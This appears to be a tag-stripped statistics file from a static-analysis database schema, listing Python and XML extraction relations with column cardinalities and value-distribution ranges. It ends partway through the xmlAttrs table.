+parent +kind + + +12 + + +1 +2 +37562 + + +2 +3 +103 + + + + + + +parent +idx + + +12 + + +1 +2 +37330 + + +2 +4 +335 + + + + + + +idx +id + + +12 + + +2 +3 +2 + + +113 +114 +2 + + +12681 +12682 +2 + + + + + + +idx +kind + + +12 + + +1 +2 +2 + + +6 +7 +2 + + +10 +11 +2 + + + + + + +idx +parent + + +12 + + +2 +3 +2 + + +113 +114 +2 + + +12681 +12682 +2 + + + + + + + + +py_cmpop_lists +37666 + + +id +37666 + + +parent +37666 + + + + +id +parent + + +12 + + +1 +2 +37666 + + + + + + +parent +id + + +12 + + +1 +2 +37666 + + + + + + + + +py_comprehensions +1688 + + +id +1688 + + +parent +1682 + + +idx +2 + + + + +id +parent + + +12 + + +1 +2 +1688 + + + + + + +id +idx + + +12 + + +1 +2 +1688 + + + + + + +parent +id + + +12 + + +1 +2 +1676 + + +2 +3 +6 + + + + + + +parent +idx + + +12 + + +1 +2 +1676 + + +2 +3 +6 + + + + + + +idx +id + + +12 + + +6 +7 +1 + + +1682 +1683 +1 + + + + + + +idx +parent + + +12 + + +6 +7 +1 + + +1682 +1683 +1 + + + + + + + + +py_comprehension_lists +1682 + + +id +1682 + + +parent +1682 + + + + +id +parent + + +12 + + +1 +2 +1682 + + + + + + +parent +id + + +12 + + +1 +2 +1682 + + + + + + + + +py_dict_items +167901 + + +id +167901 + + +kind +4 + + +parent +19804 + + +idx +7730 + + + + +id +kind + + +12 + + +1 +2 +167901 + + + + + + +id +parent + + +12 + + +1 +2 +167901 + + + + + + +id +idx + + +12 + + +1 +2 +167901 + + + + + + +kind +id + + +12 + + +326 +327 +1 + + +53883 +53884 +1 + + +67045 +67046 +1 + + + + + + +kind +parent + + +12 + + +326 +327 +1 + + +1881 +1882 +1 + + +12123 +12124 +1 + + + + + + +kind +idx + + +12 + + +7 +8 +1 + + +18 +19 +1 + + +5583 +5584 +1 + + + + + + +parent +id + + +12 + + +1 +2 +5811 + + +2 +3 +1851 + + +3 +6 +1700 + + +6 +7 +8083 + + +7 +12 +1826 + + +12 +5584 +530 + + + + + + +parent +kind + + +12 + + +1 +2 +19765 + + +2 +3 +38 + + + + + + +parent +idx + + +12 + + +1 +2 +5811 + + +2 +3 +1851 + + +3 +6 +1700 + + +6 +7 +8083 + + +7 +12 +1826 + + +12 +5584 +530 + + + + + + +idx +id + + +12 + + +1 +2 +1654 + + +2 +3 +1982 + + +3 +4 +811 + + +4 +6 +192 + + +6 +7 +753 + + +7 +8 +962 + + +8 +20 +610 + + +20 +69 +584 + + +69 +14303 +178 + + + + + + +idx +kind + + +12 + + +1 +2 +7705 + + +2 +4 +24 + + + + + + +idx +parent + + +12 + + +1 +2 +1654 + + +2 +3 +1982 + + +3 +4 +811 + + +4 +6 +192 + + +6 +7 +753 + + +7 +8 +962 + + +8 +20 +610 + + +20 +69 +584 + + +69 +14303 +178 + + + + + + + + +py_dict_item_lists +33758 + + +id +33758 + + +parent +33758 + + + + +id +parent + + +12 + + +1 +2 +33758 + + + + + + +parent +id + + +12 + + +1 +2 +33758 + + + + + + + + +py_exprs +1684031 + + +id +1684031 + + +kind +89 + + +parent +1380134 + + +idx +597 + + + + +id +kind + + +12 + + +1 +2 +1684031 + + + + + + +id +parent + + +12 + + +1 +2 +1684031 + + + + + + +id +idx + + +12 + + +1 +2 +1684031 + + + + + + +kind +id + + +12 + + +15 +28 +5 + + +39 +89 +5 + + +134 +189 +5 + + +281 +360 +5 + + +426 +570 +5 + + +1056 +1205 +5 + + +1327 +1791 +5 + + +1942 +3179 +5 + + +3398 +4019 +5 + + +4476 +4980 +5 + + +8519 +9720 +5 + + +10633 +12682 +5 + + +13945 +16376 +5 + + +46173 +58988 +5 + + +75624 +284809 +5 + + + + + + +kind +parent + + +12 + + +15 +28 +5 + + +39 +87 +5 + + +134 +175 +5 + + +271 +359 +5 + + +426 +560 +5 + + +1036 +1119 +5 + + +1327 +1791 +5 + + +1942 +3179 +5 + + +3357 +3716 +5 + + +4285 +4980 +5 + + +8177 +9473 +5 + + +10060 +11624 +5 + + +13945 +15094 +5 + + +35526 +57772 +5 + + +72662 +245283 +5 + + + + + + +kind +idx + + +12 + + +1 +2 +8 + + +2 +3 +17 + + +3 +4 +2 + + +5 +6 +5 + + +6 +7 +11 + + +8 +9 +2 + + +9 +10 +5 + + +11 +12 +5 + + +12 +13 +5 + + +15 +18 +5 + + +23 +27 +5 + + +37 +127 +5 + + +201 +202 +2 + + + + + + +parent +id + + +12 + + +1 +2 +1147073 + + +2 +3 +197316 + + +3 +202 +35744 + + + + + + +parent +kind + + +12 + + +1 +2 +1255206 + + +2 +3 +120198 + + +3 +11 +4728 + + + + + + +parent +idx + + +12 + + +1 +2 +1147073 + + +2 +3 +197316 + + +3 +202 +35744 + + + + + + +idx +id + + +12 + + +1 +2 +23 + + +2 +3 +199 + + +3 +4 +148 + + +4 +6 +35 + + +6 +8 +50 + + +9 +26 +47 + + +26 +102 +47 + + +113 +197687 +44 + + + + + + +idx +kind + + +12 + + +1 +2 +222 + + +2 +3 +258 + + +3 +4 +8 + + +4 +5 +47 + + +5 +21 +47 + + +22 +29 +11 + + + + + + +idx +parent + + +12 + + +1 +2 +23 + + +2 +3 +199 + + +3 +4 +148 + + +4 +6 +35 + + +6 +8 +50 + + +9 +26 +47 + + +26 +102 +47 + + +113 +197687 +44 + + + + + + + + +py_expr_contexts +1140675 + + +id +1140675 + + +kind +11 + + +parent +1140675 + + + + +id +kind + + +12 + + +1 +2 +1140675 + + + + + + +id +parent + + +12 + + +1 +2 +1140675 + + + + + + +kind +id + + +12 + + +446 +447 +2 + + +29477 +29478 +2 + + +66896 +66897 +2 + + +287209 +287210 +2 + + + + + + +kind +parent + + +12 + + +446 +447 +2 + + +29477 +29478 +2 + + +66896 +66897 +2 + + +287209 +287210 +2 + + + + + + +parent +id + + +12 + + +1 +2 +1140675 + + + + + + +parent +kind + + +12 + + +1 +2 +1140675 + + + + + + + + +py_expr_lists +430986 + + +id +430986 + + +parent +423623 + + +idx +17 + + + + +id +parent + + +12 + + +1 +2 +430986 + + + + + + +id +idx + + +12 + + +1 +2 +430986 + + + + + + +parent +id + + +12 + + +1 +2 +416966 + + +2 +5 +6656 + + + + + + +parent +idx + + +12 + + +1 +2 +416966 + + +2 +5 +6656 + + + + + + +idx +id + + +12 + + +175 +176 +5 + + +2522 +2523 +2 + + +12681 +12682 +2 + + +54095 +54096 +2 + + +75451 +75452 +2 + + + + + + +idx +parent + + +12 + + +175 +176 +5 + + +2522 +2523 +2 + + +12681 +12682 +2 + + +54095 +54096 +2 + + +75451 +75452 +2 + + + + + + + + +py_ints +21532 + + +id +4 + + +parent +21532 + + + + +id +parent + + +12 + + +2 +3 +1 + + +207 +208 +1 + + +2770 +2771 +1 + + +18553 +18554 +1 + + + + + + +parent +id + + +12 + + +1 +2 +21532 + + + + + + + + +py_locations +2184728 + + +id +2184728 + + +parent +2184728 + + + + +id +parent + + +12 + + +1 +2 +2184728 + + + + + + +parent +id + + +12 + + +1 +2 +2184728 + + + + + + + + +py_numbers +117446 + + +id +4249 + + +parent +58723 + + +idx +2 + + + + +id +parent + + +12 + + +1 +2 +2830 + + +2 +3 +632 + + +3 +4 +291 + + +4 +11 +320 + + +11 +15704 +176 + + + + + + +id +idx + + +12 + + +1 +2 +1355 + + +2 +3 +2894 + + + + + + +parent +id + + +12 + + +1 +2 +57251 + + +2 +3 +1472 + + + + + + +parent +idx + + +12 + + +2 +3 +58723 + + + + + + +idx +id + + +12 + + +3302 +3303 +1 + + +3841 +3842 +1 + + + + + + +idx +parent + + +12 + + +58723 +58724 +2 + + + + + + + + +py_operators +28868 + + +id +28868 + + +kind +35 + + +parent +28868 + + + + +id +kind + + +12 + + +1 +2 +28868 + + + + + + +id +parent + + +12 + + +1 +2 +28868 + + + + + + +kind +id + + +12 + + +53 +54 +2 + + +64 +65 +2 + + +94 +95 +2 + + +121 +122 +2 + + +122 +123 +2 + + +169 +170 +2 + + +268 +269 +2 + + +269 +270 +2 + + +747 +748 +2 + + +1056 +1057 +2 + + +2176 +2177 +2 + + +4580 +4581 +2 + + + + + + +kind +parent + + +12 + + +53 +54 +2 + + +64 +65 +2 + + +94 +95 +2 + + +121 +122 +2 + + +122 +123 +2 + + +169 +170 +2 + + +268 +269 +2 + + +269 +270 +2 + + +747 +748 +2 + + +1056 +1057 +2 + + +2176 +2177 +2 + + +4580 +4581 +2 + + + + + + +parent +id + + +12 + + +1 +2 +28868 + + + + + + +parent +kind + + +12 + + +1 +2 +28868 + + + + + + + + +py_parameter_lists +43271 + + +id +43271 + + +parent +43271 + + + + +id +parent + + +12 + + +1 +2 +43271 + + + + + + +parent +id + + +12 + + +1 +2 +43271 + + + + + + + + +py_stmts +372643 + + +id +372643 + + +kind +59 + + +parent +156700 + + +idx +888 + + + + +id +kind + + +12 + + +1 +2 +372643 + + + + + + +id +parent + + +12 + + +1 +2 +372643 + + + + + + +id +idx + + +12 + + +1 +2 +372643 + + + + + + +kind +id + + +12 + + +12 +13 +2 + + +47 +48 +2 + + +132 +133 +2 + + +387 +388 +2 + + +404 +405 +2 + + +559 +560 +2 + + +572 +573 +2 + + +673 +674 +2 + + +720 +721 +2 + + +967 +968 +2 + + +1231 +1232 +2 + + +1889 +1890 +2 + + +2091 +2092 +2 + + +2624 +2625 +2 + + +3001 +3002 +2 + + +3870 +3871 +2 + + +12163 +12164 +2 + + +18052 +18053 +2 + + +25032 +25033 +2 + + +51031 +51032 +2 + + + + + + +kind +parent + + +12 + + +12 +13 +2 + + +37 +38 +2 + + +123 +124 +2 + + +356 +357 +2 + + +404 +405 +2 + + +471 +472 +2 + + +557 +558 +2 + + +572 +573 +2 + + +677 +678 +2 + + +967 +968 +2 + + +984 +985 +2 + + +1094 +1095 +2 + + +1777 +1778 +2 + + +1895 +1896 +2 + + +2624 +2625 +2 + + +3544 +3545 +2 + + +12163 +12164 +2 + + +12758 +12759 +2 + + +18445 +18446 +2 + + +20426 +20427 +2 + + + + + + +kind +idx + + +12 + + +2 +3 +5 + + +6 +7 +2 + + +7 +8 +5 + + +8 +9 +2 + + +13 +14 +2 + + +15 +16 +2 + + +18 +19 +5 + + +21 +22 +2 + + +27 +28 +2 + + +33 +34 +2 + + +37 +38 +2 + + +38 +39 +2 + + +42 +43 +2 + + +51 +52 +2 + + +84 +85 +2 + + +187 +188 +2 + + +293 +294 +2 + + + + + + +parent +id + + +12 + + +1 +2 +96284 + + +2 +3 +25704 + + +3 +4 +11789 + + +4 +7 +14376 + + +7 +300 +8545 + + + + + + +parent +kind + + +12 + + +1 +2 +106000 + + +2 +3 +31003 + + +3 +4 +12071 + + +4 +9 +7624 + + + + + + +parent +idx + + +12 + + +1 +2 +96284 + + +2 +3 +25704 + + +3 +4 +11789 + + +4 +7 +14376 + + +7 +300 +8545 + + + + + + +idx +id + + +12 + + +1 +2 +335 + + +2 +5 +59 + + +5 +6 +83 + + +6 +14 +74 + + +14 +25 +68 + + +25 +53 +68 + + +53 +103 +68 + + +107 +335 +68 + + +369 +52757 +62 + + + + + + +idx +kind + + +12 + + +1 +2 +344 + + +2 +3 +267 + + +3 +4 +83 + + +4 +5 +62 + + +5 +10 +71 + + +10 +21 +59 + + + + + + +idx +parent + + +12 + + +1 +2 +335 + + +2 +5 +59 + + +5 +6 +83 + + +6 +14 +74 + + +14 +25 +68 + + +25 +53 +68 + + +53 +103 +68 + + +107 +335 +68 + + +369 +52757 +62 + + + + + + + + +py_stmt_lists +156700 + + +id +156700 + + +parent +132647 + + +idx +14 + + + + +id +parent + + +12 + + +1 +2 +156700 + + + + + + +id +idx + + +12 + + +1 +2 +156700 + + + + + + +parent +id + + +12 + + +1 +2 +109538 + + +2 +3 +22179 + + +3 +5 +929 + + + + + + +parent +idx + + +12 + + +1 +2 +109538 + + +2 +3 +22179 + + +3 +5 +929 + + + + + + +idx +id + + +12 + + +460 +461 +2 + + +4033 +4034 +2 + + +13686 +13687 +2 + + +15103 +15104 +2 + + +19474 +19475 +2 + + + + + + +idx +parent + + +12 + + +460 +461 +2 + + +4033 +4034 +2 + + +13686 +13687 +2 + + +15103 +15104 +2 + + +19474 +19475 +2 + + + + + + + + +py_strs +985327 + + +id +140335 + + +parent +695288 + + +idx +5 + + + + +id +parent + + +12 + + +1 +2 +79968 + + +2 +3 +31802 + + +3 +4 +9602 + + +4 +8 +11026 + + +8 +143732 +7935 + + + + + + +id +idx + + +12 + + +1 +2 +106110 + + +2 +3 +22027 + + +3 +4 +12190 + + +4 +5 +6 + + + + + + +parent +id + + +12 + + +1 +2 +405951 + + +2 +3 +289317 + + +3 +5 +19 + + + + + + +parent +idx + + +12 + + +1 +2 +405275 + + +2 +3 +289993 + + +3 +5 +19 + + + + + + +idx +id + + +12 + + +34 +35 +1 + + +17059 +17060 +1 + + +25371 +25372 +1 + + +92414 +92415 +1 + + + + + + +idx +parent + + +12 + + +42 +43 +1 + + +37559 +37560 +1 + + +294366 +294367 +1 + + +379612 +379613 +1 + + + + + + + + +py_str_lists +427 + + +id +427 + + +parent +427 + + + + +id +parent + + +12 + + +1 +2 +427 + + + + + + +parent +id + + +12 + + +1 +2 +427 + + + + + + + + +py_unaryops +13295 + + +id +13295 + + +kind +11 + + +parent +13295 + + + + +id +kind + + +12 + + +1 +2 +13295 + + + + + + +id +parent + + +12 + + +1 +2 +13295 + + + + + + +kind +id + + +12 + + +5 +6 +2 + + +20 +21 +2 + + +1537 +1538 +2 + + +2914 +2915 +2 + + + + + + +kind +parent + + +12 + + +5 +6 +2 + + +20 +21 +2 + + +1537 +1538 +2 + + +2914 +2915 +2 + + + + + + +parent +id + + +12 + + +1 +2 +13295 + + + + + + +parent +kind + + +12 + + +1 +2 +13295 + + + + + + + + +py_variables +845963 + + +id +242770 + + +parent +845963 + + + + +id +parent + + +12 + + +1 +2 +61149 + + +2 +3 +77254 + + +3 +4 +38584 + + +4 +5 +21392 + + +5 +7 +20913 + + +7 +15 +18418 + + +15 +318 +5058 + + + + + + +parent +id + + +12 + + +1 +2 +845963 + + + + + + + + +py_absolute_names +100 + + +module +100 + + +relname +100 + + +absname +100 + + + + +module +relname + + +12 + + + + + +module +absname + + +12 + + + + + +relname +module + + +12 + + + + + +relname +absname + + +12 + + + + + +absname +module + + +12 + + + + + +absname +relname + + +12 + + + + + + + +py_exports +19755 + + +id +1138 + + +name +16813 + + + + +id +name + + +12 + + +1 +2 +141 + + +2 +3 +164 + + +3 +4 +109 + + +4 +5 +112 + + +5 +7 +103 + + +7 +10 +91 + + +10 +14 +88 + + +14 +20 +90 + + +20 +33 +94 + + +33 +53 +90 + + +53 +2260 +52 + + + + + + +name +id + + +12 + + +1 +2 +16070 + + +2 +143 +742 + + + + + + + + +py_successors +2366367 + + +predecessor +2270167 + + +successor +2275369 + + + + +predecessor +successor + + +12 + + +1 +2 +2177926 + + +2 +9 +92240 + + + + + + +successor +predecessor + + +12 + + +1 +2 +2225590 + + +2 +173 +49778 + + + + + + + + +py_true_successors +70315 + + +predecessor +70315 + + +successor +67897 + + + + +predecessor +successor + + +12 + + +1 +2 +70315 + + + + + + +successor +predecessor + + +12 + + +1 +2 +65747 + + +2 +7 +2150 + + + + + + + + +py_exception_successors +43951 + + +predecessor +39261 + + +successor +6911 + + + + +predecessor +successor + + +12 + + +1 +2 +35379 + + +2 +3 +3448 + + +3 +7 +433 + + + + + + +successor +predecessor + + +12 + + +1 +2 +1045 + + +2 +3 +1497 + + +3 +4 +1271 + + +4 +5 +760 + + +5 +6 +463 + + +6 +8 +519 + + +8 +12 +525 + + +12 +27 +534 + + +27 +173 +294 + + + + + + + + +py_false_successors +69439 + + +predecessor +69439 + + +successor +59260 + + + + +predecessor +successor + + +12 + + +1 +2 +69439 + + + + + + +successor +predecessor + + +12 + + +1 +2 +51296 + + +2 +3 +6510 + + +3 +13 +1452 + + + + + + + + +py_flow_bb_node +2323431 + + +flownode +2323431 + + +realnode +2208164 + + +basicblock +215280 + + +index +23948 + + + + +flownode +realnode + + +12 + + +1 +2 +2323431 + + + + + + +flownode +basicblock + + +12 + + +1 +2 +2323431 + + + + + + +flownode +index + + +12 + + +1 +2 +2323431 + + + + + + +realnode +flownode + + +12 + + +1 +2 +2102771 + + +2 +9 +105392 + + + + + + +realnode +basicblock + + +12 + + +1 +2 +2135213 + + +2 +7 +72950 + + + + + + +realnode +index + + +12 + + +1 +2 +2155174 + + +2 +5 +52989 + + + + + + +basicblock +flownode + + +12 + + +1 +2 +37515 + + +2 +3 +17987 + + +3 +4 +19072 + + +4 +5 +17365 + + +5 +6 +17931 + + +6 +7 +13664 + + +7 +8 +10900 + + +8 +10 +16975 + + +10 +13 +17232 + + +13 +19 +17763 + + +19 +26 +16605 + + +26 +17296 +12265 + + + + + + +basicblock +realnode + + +12 + + +1 +2 +37832 + + +2 +3 +17905 + + +3 +4 +19216 + + +4 +5 +18823 + + +5 +6 +16929 + + +6 +7 +13644 + + +7 +8 +11703 + + +8 +10 +16817 + + +10 +13 +16741 + + +13 +19 +17322 + + +19 +26 +16368 + + +26 +17295 +11973 + + + + + + +basicblock +index + + +12 + + +1 +2 +37515 + + +2 +3 +17987 + + +3 +4 +19072 + + +4 +5 +17365 + + +5 +6 +17931 + + +6 +7 +13664 + + +7 +8 +10900 + + +8 +10 +16975 + + +10 +13 +17232 + + +13 +19 +17763 + + +19 +26 +16605 + + +26 +17296 +12265 + + + + + + +index +flownode + + +12 + + +1 +2 +4957 + + +2 +3 +4220 + + +3 +4 +1805 + + +4 +6 +1253 + + +6 +8 +1750 + + +8 +9 +2240 + + +9 +10 +2678 + + +10 +19 +1819 + + +19 +60 +1815 + + +60 +155471 +1408 + + + + + + +index +realnode + + +12 + + +1 +2 +4957 + + +2 +3 +4220 + + +3 +4 +1805 + + +4 +6 +1253 + + +6 +8 +1750 + + +8 +9 +2240 + + +9 +10 +2678 + + +10 +19 +1819 + + +19 +60 +1815 + + +60 +141411 +1408 + + + + + + +index +basicblock + + +12 + + +1 +2 +4957 + + +2 +3 +4220 + + +3 +4 +1805 + + +4 +6 +1253 + + +6 +8 +1750 + + +8 +9 +2240 + + +9 +10 +2678 + + +10 +19 +1819 + + +19 +60 +1815 + + +60 +155471 +1408 + + + + + + + + +py_scope_flow +405895 + + +flow +405895 + + +scope +56616 + + +kind +4 + + + + +flow +scope + + +12 + + +1 +2 +405895 + + + + + + +flow +kind + + +12 + + +1 +2 +405895 + + + + + + +scope +flow + + +12 + + +2 +3 +15663 + + +3 +4 +8677 + + +4 +5 +7135 + + +5 +6 +4823 + + +6 +7 +3426 + + +7 +9 +4807 + + +9 +13 +5102 + + +13 +23 +4277 + + +23 +767 +2706 + + + + + + +scope +kind + + +12 + + +2 +3 +16115 + + +3 +4 +39685 + + +4 +5 +816 + + + + + + +kind +flow + + +12 + + +18869 +18870 +1 + + +37919 +37920 +1 + + +56616 +56617 +1 + + +292491 +292492 +1 + + + + + + +kind +scope + + +12 + + +18869 +18870 +1 + + +37919 +37920 +1 + + +41145 +41146 +1 + + +56616 +56617 +1 + + + + + + + + +py_idoms +2275369 + + +node +2275369 + + +immediate_dominator +2207166 + + + + +node +immediate_dominator + + +12 + + +1 +2 +2275369 + + + + + + +immediate_dominator +node + + +12 + + +1 +2 +2153132 + + +2 +11 +54033 + + + + + + + + +py_ssa_phi +46687 + + +phi +21496 + + +arg +44830 + + + + +phi +arg + + +12 + + +1 +2 +1782 + + +2 +3 +16149 + + +3 +4 +2560 + + +4 +23 +1003 + + + + + + +arg +phi + + +12 + + +1 +2 +43208 + + +2 +8 +1621 + + + + + + + + +py_ssa_var +272292 + + +id +272292 + + +var +217265 + + + + +id +var + + +12 + + +1 +2 +272292 + + + + + + +var +id + + +12 + + +1 +2 +194518 + + +2 +4 +16728 + + +4 +35 +6017 + + + + + + + + +py_ssa_use +487906 + + +node +421169 + + +var +239604 + + + + +node +var + + +12 + + +1 +2 +416004 + + +2 +185 +5165 + + + + + + +var +node + + +12 + + +1 +2 +151110 + + +2 +3 +42380 + + +3 +4 +18095 + + +4 +7 +18656 + + +7 +203 +9362 + + + + + + + + +py_ssa_defn +267795 + + +id +267795 + + +node +261828 + + + + +id +node + + +12 + + +1 +2 +267795 + + + + + + +node +id + + +12 + + +1 +2 +258774 + + +2 +81 +3053 + + + + + + + + +py_scopes +2056674 + + +node +2056674 + + +scope +51911 + + + + +node +scope + + +12 + + +1 +2 +2056674 + + + + + + +scope +node + + +12 + + +1 +5 +3923 + + +5 +7 +3611 + + +7 +9 +3715 + + +9 +11 +3941 + + +11 +14 +4776 + + +14 +17 +3965 + + +17 +22 +4491 + + +22 +28 +4078 + + +28 +37 +4161 + + +37 +50 +3938 + + +50 +72 +3914 + + +72 +118 +3953 + + +118 +5003 +3439 + + + + + + + + +py_scope_location +56618 + + +id +56618 + + +scope +56618 + + + + +id +scope + + +12 + + +1 +2 +56618 + + + + + + +scope +id + + +12 + + +1 +2 +56618 + + + + + + + + +py_flags_versioned +136 + + +name +136 + + +value +83 + + +version +2 + + + + +name +value + + +12 + + +1 +2 +136 + + + + + + +value +name + + +12 + + +1 +2 +68 + + +2 +3 +11 + + +15 +16 +2 + + + + + + + + +py_syntax_error_versioned +30 + + +id +30 + + +message +4 + + +version +2 + + + + +id +message + + +12 + + +1 +2 +30 + + + + + + +message +id + + +12 + + +1 +2 +1 + + +4 +5 +1 + + +17 +18 +1 + + + + + + + + +py_comments +77830 + + +id +77830 + + +text +61555 + + +location +77830 + + + + +id +text + + +12 + + +1 +2 +77830 + + + + + + +id +location + + +12 + + +1 +2 +77830 + + + + + + +text +id + + +12 + + +1 +2 +56275 + + +2 +5 +4845 + + +5 +942 +434 + + + + + + +text +location + + +12 + + +1 +2 +56275 + + +2 +5 +4845 + + +5 +942 +434 + + + + + + +location +id + + +12 + + +1 +2 +77830 + + + + + + +location +text + + +12 + + +1 +2 +77830 + + + + + + + + +py_cobjects +112856 + + +obj +112856 + + + + + +py_cobjecttypes +111600 + + +obj +111600 + + +typeof +65 + + + + +obj +typeof + + +12 + + +1 +2 +111600 + + + + + + +typeof +obj + + +12 + + +1 +2 +27 + + +2 +3 +4 + + +3 +5 +5 + + +6 +19 +5 + + +19 +54 +5 + + +58 +295 +5 + + +325 +857 +5 + + +923 +73625 +5 + + + + + + + + +py_cobjectnames +111600 + + +obj +111600 + + +name +106332 + + + + +obj +name + + +12 + + +1 +2 +111600 + + + + + + +name +obj + + +12 + + +1 +2 +105898 + + +2 +413 +434 + + + + + + + + +py_cobject_sources +114955 + + +obj +112856 + + +kind +2 + + + + +obj +kind + + +12 + + +1 +2 +110757 + + +2 +3 +2099 + + + + + + +kind +obj + + +12 + + +2423 +2424 +1 + + +80595 +80596 +1 + + + + + + + + +py_cmembers_versioned +21362 + + +object +1681 + + +name +8322 + + +member +15501 + + +version +2 + + + + +object +name + + +12 + + +3 +4 +59 + + +4 +5 +448 + + +5 +8 +118 + + +8 +9 +582 + + +9 +12 +154 + + +12 +20 +133 + + +20 +50 +127 + + +58 +312 +56 + + + + + + +object +member + + +12 + + +3 +4 +59 + + +4 +5 +448 + + +5 +8 +118 + + +8 +9 +591 + + +9 +12 +154 + + +12 +20 +133 + + +21 +59 +127 + + +60 +206 +47 + + + + + + +name +object + + +12 + + +1 +2 +7390 + + +2 +6 +656 + + +6 +567 +276 + + + + + + +name +member + + +12 + + +1 +2 +7407 + + +2 +6 +647 + + +6 +280 +267 + + + + + + +member +object + + +12 + + +1 +2 +14765 + + +2 +249 +736 + + + + + + +member +name + + +12 + + +1 +2 +14803 + + +2 +84 +698 + + + + + + + + +py_citems +3959 + + +object +213 + + +index +593 + + +member +1906 + + + + +object +index + + +12 + + +1 +2 +41 + + +2 +3 +37 + + +3 +4 +37 + + +4 +5 +7 + + +5 +6 +29 + + +6 +12 +16 + + +12 +22 +16 + + +24 +42 +16 + + +42 +594 +14 + + + + + + +object +member + + +12 + + +1 +2 +41 + + +2 +3 +40 + + +3 +4 +34 + + +4 +5 +20 + + +5 +6 +16 + + +6 +12 +16 + + +12 +22 +16 + + +24 +42 +16 + + +42 +546 +14 + + + + + + +index +object + + +12 + + +1 +2 +186 + + +2 +3 +62 + + +3 +4 +89 + + +4 +6 +44 + + +6 +8 +41 + + +8 +9 +83 + + +9 +14 +46 + + +14 +214 +42 + + + + + + +index +member + + +12 + + +1 +2 +186 + + +2 +3 +62 + + +3 +4 +89 + + +4 +6 +44 + + +6 +8 +41 + + +8 +9 +83 + + +9 +14 +46 + + +14 +158 +42 + + + + + + +member +object + + +12 + + +1 +2 +1112 + + +2 +3 +215 + + +3 +4 +303 + + +4 +5 +101 + + +5 +7 +166 + + +7 +21 +9 + + + + + + +member +index + + +12 + + +1 +2 +1139 + + +2 +3 +212 + + +3 +4 +298 + + +4 +5 +92 + + +5 +9 +165 + + + + + + + + +ext_argtype +6320 + + +funcid +4069 + + +arg +50 + + +typeid +466 + + + + +funcid +arg + + +12 + + +1 +2 +2726 + + +2 +3 +932 + + +3 +4 +329 + + +4 +18 +80 + + + + + + +funcid +typeid + + +12 + + +1 +2 +2694 + + +2 +3 +1149 + + +3 +6 +225 + + + + + + +arg +funcid + + +12 + + +1 +2 +23 + + +2 +3 +5 + + +3 +4 +2 + + +7 +8 +2 + + +10 +11 +2 + + +31 +32 +2 + + +141 +142 +2 + + +449 +450 +2 + + +1365 +1366 +2 + + + + + + +arg +typeid + + +12 + + +1 +2 +26 + + +2 +3 +8 + + +3 +4 +2 + + +4 +5 +2 + + +8 +9 +2 + + +12 +13 +2 + + +157 +158 +2 + + + + + + +typeid +funcid + + +12 + + +1 +2 +68 + + +2 +3 +86 + + +3 +4 +68 + + +4 +5 +38 + + +5 +6 +26 + + +6 +8 +29 + + +8 +10 +35 + + +10 +16 +41 + + +16 +22 +35 + + +24 +505 +35 + + + + + + +typeid +arg + + +12 + + +1 +2 +424 + + +2 +5 +35 + + +9 +17 +5 + + + + + + + + +ext_rettype +4719 + + +funcid +4321 + + +typeid +154 + + + + +funcid +typeid + + +12 + + +1 +2 +4042 + + +2 +11 +279 + + + + + + +typeid +funcid + + +12 + + +1 +2 +59 + + +2 +3 +14 + + +3 +4 +23 + + +4 +6 +8 + + +8 +14 +11 + + +22 +40 +11 + + +43 +115 +11 + + +116 +454 +11 + + + + + + + + +ext_proptype +398 + + +propid +386 + + +typeid +32 + + + + +propid +typeid + + +12 + + +1 +2 +374 + + +2 +3 +11 + + + + + + +typeid +propid + + +12 + + +1 +2 +11 + + +2 +3 +2 + + +7 +8 +5 + + +8 +9 +2 + + +19 +20 +2 + + +35 +36 +2 + + +52 +53 +2 + + + + + + + + +ext_argreturn +26 + + +funcid +26 + + +arg +5 + + + + +funcid +arg + + +12 + + +1 +2 +26 + + + + + + +arg +funcid + + +12 + + +2 +3 +2 + + +7 +8 +2 + + + + + + + + +py_special_objects +40 + + +obj +40 + + +name +40 + + + + +obj +name + + +12 + + +1 +2 +40 + + + + + + +name +obj + + +12 + + +1 +2 +40 + + + + + + + + +py_decorated_object +100 + + +object +100 + + +level +100 + + + + +object +level + + +12 + + + + + +level +object + + +12 + + + + + + + +xmlEncoding +100 + + +id +100 + + +encoding +100 + + + + +id +encoding + + +12 + + +1 +2 +2 + + + + + + +encoding +id + + +12 + + + + + + + +xmlDTDs +100 + + +id +100 + + +root +100 + + +publicId +100 + + +systemId +100 + + +fileid +100 + + + + +id +root + + +12 + + +1 +2 +2 + + + + + + +id +publicId + + +12 + + +1 +2 +2 + + + + + + +id +systemId + + +12 + + +1 +2 +2 + + + + + + +id +fileid + + +12 + + +1 +2 +2 + + + + + + +root +id + + +12 + + + + + +root +publicId + + +12 + + + + + +root +systemId + + +12 + + + + + +root +fileid + + +12 + + + + + +publicId +id + + +12 + + + + + +publicId +root + + +12 + + + + + +publicId +systemId + + +12 + + + + + +publicId +fileid + + +12 + + + + + +systemId +id + + +12 + + + + + +systemId +root + + +12 + + + + + +systemId +publicId + + +12 + + + + + +systemId +fileid + + +12 + + + + + +fileid +id + + +12 + + + + + +fileid +root + + +12 + + + + + +fileid +publicId + + +12 + + + + + +fileid +systemId + + +12 + + + + + + + +xmlElements +100 + + +id +100 + + +name +100 + + +parentid +100 + + +idx +100 + + +fileid +100 + + + + +id +name + + +12 + + +1 +2 +2 + + + + + + +id +parentid + + +12 + + +1 +2 +2 + + + + + + +id +idx + + +12 + + +1 +2 +2 + + + + + + +id +fileid + + +12 + + +1 +2 +2 + + + + + + +name +id + + +12 + + + + + +name +parentid + + +12 + + + + + +name +idx + + +12 + + + + + +name +fileid + + +12 + + + + + +parentid +id + + +12 + + + + + +parentid +name + + +12 + + + + + +parentid +idx + + +12 + + + + + +parentid +fileid + + +12 + + + + + +idx +id + + +12 + + + + + +idx +name + + +12 + + + + + +idx +parentid + + +12 + + + + + +idx +fileid + + +12 + + + + + +fileid +id + + +12 + + + + + +fileid +name + + +12 + + + + + +fileid +parentid + + +12 + + + + + +fileid +idx + + +12 + + + + + + + +xmlAttrs +100 + + +id +100 + + +elementid +100 + + +name +100 + + +value +100 + + +idx +100 + + +fileid +100 + + + + +id +elementid + + +12 + + +1 +2 +1 + + + + + + +id +name + + +12 + + +1 +2 +1 + + + + + + +id +value + + +12 + + +1 +2 +1 + + + + + + +id +idx + + +12 + + +1 +2 +1 + + + + + + +id +fileid + + +12 + + +1 +2 +1 + + + + + + +elementid +id + + +12 + + + + + +elementid +name + + +12 + + + + + +elementid +value + + +12 + + + + + +elementid +idx + + +12 + + + + + +elementid +fileid + + +12 + + + + + +name +id + + +12 + + + + + +name +elementid + + +12 + + + + + +name +value + + +12 + + + + + +name +idx + + +12 + + + + + +name +fileid + + +12 + + + + + +value +id + + +12 + + + + + +value 